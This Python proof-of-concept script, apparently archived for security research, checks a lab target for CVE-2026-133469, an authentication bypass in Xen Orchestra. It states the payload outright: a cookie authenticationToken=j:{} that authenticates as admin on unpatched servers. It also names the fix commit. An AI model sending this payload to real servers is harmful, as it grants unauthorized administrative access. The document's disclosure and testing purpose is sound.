#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-133469 (see README for attribution/license)
"""CVE-2026-133469 — Xen Orchestra auth bypass via JSON object token cookie.
cookie-parser turns authenticationToken=j:{} into {}, which passed the old
'if (!tokenId)' check and triggered an unfiltered token lookup. Fixed in
50166fe with isNonEmptyString() validation of token IDs.
"""
import http.client, json, sys, time
DEFAULT_HOST = "xo-vuln"
EXIT_SAFE, EXIT_VULN, EXIT_UNREACHABLE, EXIT_NO_WORKER = 0, 1, 2, 3

def ask(host, mode):
    c = http.client.HTTPConnection(host, 8080, timeout=30)
    try:
        c.request("POST", "/check", body=json.dumps({"mode": mode}),
                  headers={"Content-Type": "application/json"})
        return json.loads(c.getresponse().read() or b"{}")
    except Exception:
        return {}
    finally:
        c.close()

def wait_up(host, tries=30):
    for _ in range(tries):
        c = http.client.HTTPConnection(host, 8080, timeout=5)
        try:
            c.request("GET", "/info")
            if c.getresponse().status == 200: return True
        except Exception: pass
        finally: c.close()
        time.sleep(2)
    return False

def main():
    args = [a for a in sys.argv[1:] if not a.startswith("-")]
    mode = args[0] if args else "check"
    host = "xo-vuln"
    for a in sys.argv[1:]:
        if a.startswith("--host="): host = a.split("=", 1)[1]
    if not wait_up(host):
        print("[-] no worker listening"); return EXIT_NO_WORKER
    d = ask(host, "bypass")
    if mode == "check":
        print("[*] cookie j:{} -> authenticated=%s" % d.get("authenticated"))
        if d.get("authBypass"):
            print("[+] VULNERABLE — empty-object cookie authenticates as admin"); return EXIT_VULN
        if d.get("authBypass") is False:
            print("[*] target behaves as fixed — no token lookup"); return EXIT_SAFE
        print("[!] indeterminate (%s)" % d.get("error")); return EXIT_UNREACHABLE
    if mode == "exploit":
        print("[*] stage 1 — send cookie authenticationToken=j:{}")
        print("[*] stage 2 — cookie-parser decodes the value to an empty object")
        if not d.get("authBypass"):
            print("[-] target behaves as fixed (authenticated=%s)" % d.get("authenticated")); return EXIT_SAFE
        print("[+] stage 3 — 'if (!tokenId)' passes, unfiltered lookup returns first token")
        print("[+] stage 4 — authenticated as %s with reusable token IDs" % d.get("authenticated"))
        print("[+] RESULT: authentication bypass (CVE-2026-133469)"); return EXIT_VULN
    if mode == "probe":
        for m in ("bypass", "control"):
            x = ask(host, m)
            print("  %-8s authenticated=%s" % (m, x.get("authenticated")))
        return EXIT_VULN if ask(host, "bypass").get("authBypass") else EXIT_SAFE
    if mode == "mitigation":
        print("[*] mitigation — Xen Orchestra 50166fe: token IDs must be non-")
        print("[*] empty strings; caller-supplied objects never reach the query.")
        if d.get("authBypass"):
            print("[+] VULNERABLE — object cookie still accepted"); return EXIT_VULN
        print("[*] target behaves as fixed"); return EXIT_SAFE
    print("unknown mode"); return 2

if __name__ == "__main__":
    sys.exit(main())
